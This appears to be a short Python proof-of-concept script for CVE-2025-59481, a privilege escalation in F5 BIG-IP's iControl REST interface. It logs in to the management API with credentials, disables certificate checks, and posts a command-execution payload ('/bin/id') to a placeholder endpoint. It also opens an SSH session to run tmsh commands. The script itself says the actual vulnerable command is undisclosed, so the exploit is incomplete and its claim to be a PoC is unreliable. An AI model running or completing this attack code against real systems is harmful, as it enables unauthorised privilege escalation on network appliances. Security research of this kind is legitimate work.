CVE-2025-59481：F5 BIG-IP iControl REST权限提升漏洞

# CVE-2025-59481 - F5 BIG-IP iControl REST Privilege Escalation PoC # Note: This is a conceptual PoC. The specific undisclosed command is not publicly available. # Requires valid credentials with at least resource administrator role. import requests import json from requests.auth import HTTPBasicAuth # Target configuration TARGET_HOST = "https://<big-ip-management-ip>" USERNAME = "resource_admin_user" PASSWORD = "password" # Disable SSL warnings for self-signed certificates requests.packages.urllib3.disable_warnings() def exploit_icontrol_rest(): """ Exploit the undisclosed iControl REST command to escalate privileges. The vulnerable endpoint allows executing system commands with elevated privileges. """ session = requests.Session() session.verify = False session.auth = HTTPBasicAuth(USERNAME, PASSWORD) # Step 1: Authenticate and obtain a token auth_url = f"{TARGET_HOST}/mgmt/shared/authn/login" auth_payload = { "username": USERNAME, "password": PASSWORD, "loginProviderName": "tmos" } response = session.post(auth_url, json=auth_payload) if response.status_code != 200: print(f"Authentication failed: {response.status_code}") return token = response.json()["token"]["token"] session.headers.update({"X-F5-Auth-Token": token}) # Step 2: Exploit the undisclosed vulnerable command # The specific endpoint is not publicly disclosed by F5 # Attackers would need to identify the vulnerable command through fuzzing/research vulnerable_endpoint = f"{TARGET_HOST}/mgmt/tm/<undisclosed-command>" exploit_payload = { "command": "run", # Attempt to execute arbitrary system command with elevated privileges "utilCmdArgs": "/bin/id" } response = session.post(vulnerable_endpoint, json=exploit_payload) print(f"Response status: {response.status_code}") print(f"Response body: {response.text}") if response.status_code == 200: print("[+] Privilege escalation may have succeeded!") def exploit_tmsh(): """ Exploit via tmsh (TMOS Shell) command over SSH. Requires SSH access with resource administrator credentials. """ import paramiko ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect( hostname=TARGET_HOST.replace("https://", "").replace("http://", ""), username=USERNAME, password=PASSWORD ) # Execute the undisclosed tmsh command that triggers privilege escalation # The specific command syntax is not publicly disclosed commands = [ "tmsh", # The vulnerable undisclosed command would go here # Example: list /<vulnerable-path> "quit" ] for cmd in commands: stdin, stdout, stderr = ssh.exec_command(cmd) print(f"Command: {cmd}") print(f"Output: {stdout.read().decode()}") print(f"Error: {stderr.read().decode()}") ssh.close() if __name__ == "__main__": print("[*] CVE-2025-59481 PoC - F5 BIG-IP Privilege Escalation") print("[*] This is a conceptual PoC for security research purposes only") # exploit_icontrol_rest() # exploit_tmsh()